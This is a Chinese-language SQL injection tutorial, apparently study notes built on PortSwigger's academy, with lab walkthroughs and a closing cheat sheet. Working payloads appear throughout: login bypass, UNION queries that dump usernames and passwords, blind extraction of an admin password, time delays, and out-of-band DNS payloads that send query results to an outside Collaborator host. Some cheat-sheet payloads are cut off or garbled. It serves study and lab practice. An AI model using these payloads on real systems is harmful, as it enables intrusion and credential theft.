目录
SQL注入原理
SQL注入是一个网络安全漏洞,攻击者可以利用该漏洞来干扰应用程序对其数据库的查询。通常,它使攻击者可以查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或者应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除此数据,从而导致应用程序内容或行为的永久更改。
在某些情况下,攻击者可以升级SQL注入攻击,以破坏基础服务器或其他后端基础结构,或者执行拒绝服务攻击。
SQL注入的原理其实并不难理解,Web应用程序后台获取用户输入并将其拼接到SQL查询语句中进行执行,而这里的用户输入就是我们可以构造恶意payload的地方,通过一些技巧使得查询语句按照我们所希望的方式执行即可完成一次成功的SQL注入。正如大多数的Web漏洞一样,究其漏洞本质就是未验证用户输入,没有实现输入数据与程序执行语句的分离。
但是由于存在不同的数据库(如常见的Oracle、SQL Server、Mysql等)所导致的具有微小差异性的SQL语句实现,以及我们无法直接观察到后台的查询逻辑,导致我们在实际的SQL注入漏洞搜寻过程当中往往也要花费不小的精力,同时也非常考察我们对于SQL语句的掌握程度。
一个非常好的网站:https://portswigger.net/web-security/sql-injection
SQL注入可分为数字型和字符型,不同语句注入的payload不同。
数字型查询语句为:
SELECT * FROM products WHERE category = 1 -- 注入语句为 or 1=1 --
字符型查询语句为:
SELECT * FROM products WHERE category = 'value' -- 注入语句为 'or 1=1 --
不同数据库注释语句的差异(可以发现比较好的通用注释方式即为–(两个短横) )
数据库 | 单行注释 | 多行注释 |
---|---|---|
Oracl:REM | – | /多行注释/ |
MS SQL Server | – | /多行注释/ |
MySQL | # 或者 – (特别注意,-- 后需跟空格或控制字符) | /多行注释/ |
PostgreSQL | – | /多行注释/ |
我一般使用的是-- A
这个A可以替换成任意字符
常见的SQL注入
在不同情况下会出现各种SQL注入漏洞,攻击和技术。一些常见的SQL注入示例包括:
- 检索隐藏的数据,您可以在其中修改SQL查询以返回其他结果。
- 颠覆应用程序逻辑,您可以在其中更改查询以干扰应用程序的逻辑。
- UNION攻击,您可以在其中从不同的数据库表中检索数据。
- 检查数据库,您可以在其中提取有关数据库的版本和结构的信息。
- 盲SQL注入(盲注),您控制的查询结果不会在应用程序的响应中返回。
检索隐藏的数据
举个例子,一个显示不同类别产品的购物应用程序。当用户单击“礼物”类别时,其浏览器将请求URL:
https://insecure-website.com/products?category=Gifts
这将导致应用程序执行SQL查询,以从数据库中检索相关产品的详细信息:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
此SQL查询要求数据库返回:
- 所有详细信息(*)
- 从产品表
- 类别是礼物
- 发布为1。
该限制released = 1用于隐藏未发布的产品。对于未发布的产品,是released = 0。
该应用程序未对SQL注入攻击实施任何防御措施,因此攻击者可以构建如下攻击:
https://insecure-website.com/products?category=Gifts'--
这将导致SQL查询:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
这里的关键是双破折号序列–是SQL中的注释指示符,意味着查询的其余部分将被解释为注释。这样可以有效删除查询的其余部分,因此不再包含AND released = 1。这意味着将显示所有产品,包括未发布的产品。
更进一步,攻击者可以使应用程序显示任何类别的所有产品,包括他们不知道的类别:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
这将导致SQL查询:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
修改后的查询将返回类别为Gifts或1等于1的1=1所有项目。由于始终为true,因此查询将返回所有项目。
颠覆应用逻辑
考虑一个允许用户使用用户名和密码登录的应用程序。如果用户提交用户名wiener和密码bluecheese,则应用程序将通过执行以下SQL查询来检查凭据:
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询返回用户的详细信息,则登录成功。否则,它将被拒绝。
在这里,攻击者只需使用SQL注释序列–从WHERE查询的子句中删除密码检查,即可在没有密码的情况下以任何用户身份登录。例如,提交用户名administrator’–和空白密码将导致以下查询:
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
该查询返回用户名为administrator的用户信息,攻击者可成功登录。
UNION攻击
从其他数据库表检索数据
如果在应用程序的响应中返回了SQL查询的结果,则攻击者可以利用SQL注入漏洞从数据库中的其他表中检索数据。这是使用UNION关键字完成的,UNION关键字可以执行一个或多个额外的SELECT查询和结果对原始查询追加。例如:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
此SQL查询将返回一个包含两列的单个结果集,其中包含来自table1的a,b列,来自table2的c,d列
再举一个例子,如果应用程序执行以下包含用户输入“ Gifts”的查询:
SELECT name, description FROM products WHERE category = 'Gifts'
然后攻击者可以提交输入:
' UNION SELECT username, password FROM users--
这将导致应用程序返回所有用户名和密码以及产品名称和描述。
为了使UNION查询正常工作,必须满足两个关键要求:
- 各个查询必须返回相同数量的列。
- 每列中的数据类型在各个查询之间必须兼容。
这里很重要,稍后也会有解释
要执行SQL注入UNION攻击,您需要确保您的攻击满足这两个要求。这通常涉及找出:
- 原始查询返回了多少列?
- 从原始查询返回的哪些列具有适合的数据类型,以保存来自注入查询的结果?
这里“返回的列”也被称作回显,从字面上可以理解为显示出的返回浏览器的内容
确定UNION攻击所需的列数
执行SQL注入UNION攻击时,有两种有效的方法来确定从原始查询返回多少列。
第一种方法
涉及注入一系列ORDER BY子句并递增指定的列索引,直到发生错误为止。例如,假设注入点是WHERE原始查询子句中带引号的字符串,则可以提交:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
这一系列有效payload修改了原始查询,以按结果集中的不同列对结果进行排序。ORDER BY子句中的列可以通过其索引指定,因此您无需知道任何列的名称。当指定的列索引超过结果集中的实际列数时,数据库将返回错误,例如:
The ORDER BY position number 3 is out of range of the number of items in the select list.
该应用程序实际上可能会在其HTTP响应中返回数据库错误,或者可能返回一个通用错误,或者仅不返回任何结果。只要您可以检测到应用程序响应中的某些差异,就可以推断出查询返回了多少列。
第二种方法
涉及提交一系列UNION SELECT指定不同数量的空值的payload:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
如果空数与列数不匹配,则数据库返回错误,例如:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
应用程序可能实际上返回此错误消息,或者可能仅返回一般错误或没有结果。当空数与列数匹配时,数据库将在结果集中返回另一行,其中每一列均包含空值。对产生的HTTP响应的影响取决于应用程序的代码。
如果幸运的话,您将在响应中看到一些其他内容,例如HTML表格上的额外行。否则,空值可能会触发其他错误,例如NullPointerException。最坏的情况是,响应可能与由不正确的null数引起的响应没有区别,这使确定列数的此方法无效。
注意
之所以将其NULL用作从注入的SELECT查询返回的值,是因为每一列中的数据类型在原始查询和注入的查询之间必须兼容。由于NULL可以转换为每种常用的数据类型,因此使用可以NULL最大程度地提高当列数正确时payload成功的机会。(说人话就是使用了null就不用考虑这个地方该用数字类型还是字符串类型)
在Oracle上,每个SELECT查询都必须使用FROM关键字并指定一个有效表。Oracle上有一个内置表DUAL,可用于此目的。因此,在Oracle上注入的查询将需要如下所示:’ UNION SELECT NULL FROM DUAL –(简单来说就是在Oracle数据库中用这个方法可以显示你输入的任何内容)
描述的payload使用双破折号注释序列–注释掉注入点之后原始查询的其余部分。在MySQL上,双破折号序列后必须有一个空格。#可以用于识别评论。
更多语法参见:https://portswigger.net/web-security/sql-injection/cheat-sheet
在UNION攻击中查找具有有用数据类型的列
执行SQL注入UNION攻击的原因是能够从注入的查询中检索结果。通常,要检索的数据将采用字符串形式,因此您需要在原始查询结果中查找其数据类型为字符串数据或与字符串数据兼容的一列或多列。
已经确定了所需的列数之后,您可以通过提交一系列UNION SELECT将字符串值依次放入各列的有效负载,来探查各列以测试其是否可以容纳字符串数据。例如,如果查询返回四列,则您将提交:
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
如果列的数据类型与字符串数据不兼容,则注入的查询将导致数据库错误,例如:
Conversion failed when converting the varchar value ‘a’ to data type int.
如果没有发生错误,并且应用程序的响应包含一些其他内容,包括注入的字符串值,则相关列适合于检索字符串数据。
在单个列中检索多个值
在前面的示例中,假设查询仅返回单个列。
通过将值串联在一起,可以轻松地在单个列中一起检索多个值,理想情况下,还包括一个合适的分隔符,可让您区分组合的值。例如,在Oracle上,您可以提交输入:
' UNION SELECT username || '~' || password FROM users--
这使用双管道序列||,它是Oracle上的字符串连接运算符。注入的查询将usernameand password字段的值连接在一起,并用~字符分隔。
查询的结果将使您读取所有用户名和密码,例如:
…
administrator~s3cure
wiener~peter
carlos~montoya
…
检查数据库
利用SQL注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及根据数据库包含的表和列的数据库内容。
查询数据库类型和版本
不同的数据库提供了不同的查询其版本的方式。通常需要尝试不同的查询以找到可行的查询,从而可以确定数据库软件的类型和版本。
某些流行数据库类型的数据库版本的查询如下:
数据库类型 | 查询语句 |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
例如,可以使用UNION进行攻击:
' UNION SELECT @@version --
这可能会返回如下所示的输出,确认数据库是Microsoft SQL Server以及正在使用的版本:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright © Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 (Build 14393: ) (Hypervisor)
注意
在Oracle数据库上,每个SELECT语句都必须指定要选择的表FROM。如果您的UNION SELECT攻击没有从表中查询,您仍然需要在FROM关键字后面加上有效的表名。
Oracle上有一个内置的表,称为DUAL,可用于此目的。例如:UNION SELECT ‘abc’ FROM DUAL
所以这是一个在Oracle上查询列数的一个方法:
确定查询正在返回的列数以及哪些列包含文本数据。使用category参数中的以下内容来验证查询是否返回两列,且两列都包含文本:
'+UNION+SELECT+'abc','def'+FROM+DUAL--
得到列数和回显点之后可以进行数据库信息显示,比如:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
//2020.8.26存疑:除了BANNER还可以填什么?
实验
SQL注入攻击,在MySQL和Microsoft上查询数据库类型和版本
这道题就是正常方法,获得回显点之后:
'+UNION+SELECT+@@version,+NULL#
列出数据库的内容
大多数数据库类型(Oracle除外)都有一组称为信息模式的视图(information schema),这些提供有关数据库的信息。
您可以查询information_schema.tables
以列出数据库中的表:
SELECT * FROM information_schema.tables
这将返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
===================================================== MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
此输出指示有三个表,叫Products,Users和Feedback。
然后,您可以查询information_schema.columns
以列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
这将返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
此输出显示指定表中的列以及每列的数据类型。
实验
SQL注入攻击,列出非Oracle数据库上的数据库内容
步骤:
1,查询返回的列数以及哪些列包含文本数据
'+UNION+SELECT+'abc','def'--
2, 查询表名都有什么
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
3,ctrl+F搜到username的表,然后查看这个表都有几列
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='USERS_ABCDEF'--
4, 查询列中的数据
'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--
5,找到administrtor的密码,然后登陆
Oracle上的information_schema利用
在Oracle上,您可以通过稍有不同的查询获得相同的信息。
您可以通过查询列出表all_tables:
SELECT * FROM all_tables
您可以通过查询列出列all_tab_columns:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
实验:
SQL注入攻击,列出Oracle上的数据库内容
Oracle数据库查询步骤:
1,查询回显点个数(常规方法)
2,查询所有表名:
' UNION select table_name,null from all_tables -- A
2,查询目标表的列名
' UNION select column_name,null from all_tab_columns where table_name='USERS_OFYFMI' -- A
3,查询目标表的列中数据
' UNION select PASSWORD_TKOERD,USERNAME_EIQEBL from USERS_OFYFMI -- A
盲SQL注入漏洞(盲注)
SQL注入的许多实例都是盲目的漏洞。这意味着该应用程序不会在其响应内返回SQL查询的结果或任何数据库错误的详细信息。盲目漏洞仍然可以被利用来访问未经授权的数据,但是所涉及的技术通常更加复杂并且难以执行。
根据漏洞的性质和所涉及的数据库,可以使用以下技术来利用盲目的SQL注入漏洞:
- 布尔盲注。更改查询的逻辑,以根据单个条件的真实性触发应用程序响应中可检测的差异。这可能涉及将新条件注入某些布尔逻辑,或有条件地触发诸如除零的错误。
- 时间盲注。有条件地触发查询处理中的时间延迟,从而允许您根据应用程序响应的时间推断条件的真相。
- 使用OAST技术触发带外网络交互。该技术非常强大,可以在其他技术无法使用的情况下使用。通常,您可以直接通过带外通道泄露数据,例如,将数据放入您控制的域的DNS查找中。
条件式响应
考虑一个使用跟踪cookie收集有关使用情况的分析的应用程序。对应用程序的请求包括一个cookie标头,如下所示:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
TrackingId处理 包含Cookie 的请求时,应用程序将使用以下SQL查询来确定该用户是否是已知用户:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
此查询易受SQL注入的攻击,但查询结果不会返回给用户。但是,应用程序的行为会有所不同,具体取决于查询是否返回任何数据。如果它返回数据(因为TrackingId已提交已识别的数据),则页面内将显示“Welcome back”消息。
此行为足以通过根据注入的条件有条件地触发不同的响应来利用盲目的SQL注入漏洞并检索信息。要查看其工作原理,假设发送了两个请求TrackingId,依次包含以下cookie值:
xyz' UNION SELECT 'a' WHERE 1=1--
xyz' UNION SELECT 'a' WHERE 1=2--
这些值中的第一个将使查询返回结果,因为注入的or 1=1条件为true,因此将显示“ Welcome back”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为假,因此将不会显示“Welcome back”消息。这使我们能够确定任何单个注入条件的答案,从而一次提取一位数据。
例如,假设有一个叫做表Users与列Username和Password,和被叫用户Administrator。通过发送一系列输入来一次测试一个字符的密码,我们可以系统地确定该用户的密码。
为此,我们从以下输入开始:
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
这将返回“ Welcome back”消息,指示注入的条件为true,因此密码的第一个字符大于m。
接下来,我们发送以下输入:
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--
这不会返回“ Welcome back”消息,表明插入的条件为假,因此密码的第一个字符不大于t。
最终,我们发送以下输入,该输入返回“ Welcome back”消息,从而确认密码的第一个字符为s:
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--
我们可以继续此过程,以系统地确定Administrator用户的完整密码。
注意:在某些类型的数据库上SUBSTRING调用该函数SUBSTR。
实验:
带条件的盲注
找到和密码相关的信息
然后使用bp爆破(官网实在良心,把每一步都写清楚了)
条件式报错
当上传任何布尔条件都不会使网页有响应的时候,前面的技术将不起作用。
在这种情况下,取决于注入的条件,通常有可能通过有条件地触发SQL错误来促使应用程序返回条件响应。这涉及修改查询,以便在条件为true时将引起数据库错误,而在条件为false时则不会导致数据库错误。通常,数据库引发的未处理错误将导致应用程序响应有所不同(例如错误消息),从而使我们能够推断注入条件的真相。
注意报错信息和网页响应不同
其工作原理如下:假设发送了两个请求TrackingId,依次包含以下cookie值:
xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
xyz' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--
这些输入使用CASE关键字测试条件,并根据表达式是否为真返回不同的表达式。对于第一个输入,case表达式的计算结果为NULL,不会引起任何错误。使用第二个输入,它求值为1/0,这将导致被零除的误差。假设错误导致应用程序的HTTP响应有所不同,我们可以使用此差异来推断注入条件是否为true。
使用这项技术,我们可以通过系统地一次测试一个字符来以已描述的方式检索数据:
xyz' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--
注意:触发条件错误的方式有很多种,根据不同数据库自己要酌情判断
一些常用语法备忘录
字符串连接
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar' [注意两个字符串之间的空格] 或者 CONCAT('foo','bar')
子串提取
你可以从一个字符串中提取一部分子串(可以有特定偏移量)偏移量基于1.
以下的每个例子都会返回ba
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)
注释
使用注释来截断查询并删除输入之后的原始查询部分
数据库 | 查询语句 |
---|---|
Oracle | –comment |
Microsoft | –comment |
/comment/ | |
PostgreSQL | –comment |
/comment/ | |
MySQL | #comment |
– comment 注意双破折号后的空格 | |
/comment/ |
数据库版本
数据库 | 查询语句 |
---|---|
Oracle | SELECT banner FROM v$version |
SELECT version FROM v$instance | |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
数据库内容
可以列出数据库中存在的表以及这些表包含的列
数据库 | 查询语句 |
---|---|
Oracle | SELECT * FROM all_tables |
SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’ | |
Microsoft | SELECT * FROM information_schema.tables |
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ | |
PostgreSQL | SELECT * FROM information_schema.tables |
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ | |
MySQL | SELECT * FROM information_schema.tables |
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
条件错误
您可以测试单个布尔条件,如果条件为true,则触发数据库错误
数据库 | 查询语句 |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’) |
批处理(或堆叠)查询
您可以使用批处理查询来连续执行多个查询。请注意,在执行后续查询时,结果不会返回给应用程序。因此,该技术主要用于与盲注有关的问题,在该漏洞中,您可以使用第二个查询来触发DNS查找,条件错误或时间延迟。
数据库 | 查询语句 |
---|---|
Oracle | Does not support batched queries. |
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | Does not support batched queries. |
时间延迟
处理查询时,可能导致数据库中的时间延迟。以下情况将导致10秒的无条件时间延迟。
数据库 | 查询语句 |
---|---|
Oracle | dbms_pipe.receive_message((‘a’),10) |
Microsoft | WAITFOR DELAY ‘0:0:10’ |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
有条件的时间延迟
可以测试单个布尔条件,并在条件为真时触发时间延迟。
数据库 | 查询语句 |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’ |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’ |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),‘a’) |
DNS查询
您可以使数据库对外部域执行DNS查找。为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认是否发生了DNS查找。
数据库 | 查询语句 |
---|---|
Oracle | 以下技术利用XML外部实体(XXE)漏洞来触发DNS查找。该漏洞已得到修补,但是存在许多未修补的Oracle安装: |
SELECT extractvalue(xmltype(’<?xml version="1.0" encoding="UTF-8"?> %remote;]>’),’/l’) FROM dual | |
以下技术可用于完全修补的Oracle安装,但需要提升的特权: | |
SELECT UTL_INADDR.get_host_address(‘YOUR-SUBDOMAIN-HERE.burpcollaborator.net’) | |
Microsoft | exec master…xp_dirtree ‘//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a’ |
PostgreSQL | copy (SELECT ‘’) to program ‘nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net’ |
MySQL | 以下技术仅适用于Windows: |
LOAD_FILE(’\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a’) |
SELECT … INTO OUTFILE ‘\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a’
DNS查找与数据渗透
您可以使数据库对包含注入查询结果的外部域执行DNS查找。为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括被泄露的数据。
数据库 | 查询语句 |
---|---|
Oracle | SELECT extractvalue(xmltype(’<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://’ |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec(‘master…xp_dirtree "//’+@p+’.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"’) |
MySQL | 以下技术仅适用于Windows: |
SELECT YOUR-QUERY-HERE INTO OUTFILE ‘\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a’ |
PostgreSQL
create OR replace function f() returns void as $$
declare c text;
eclare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();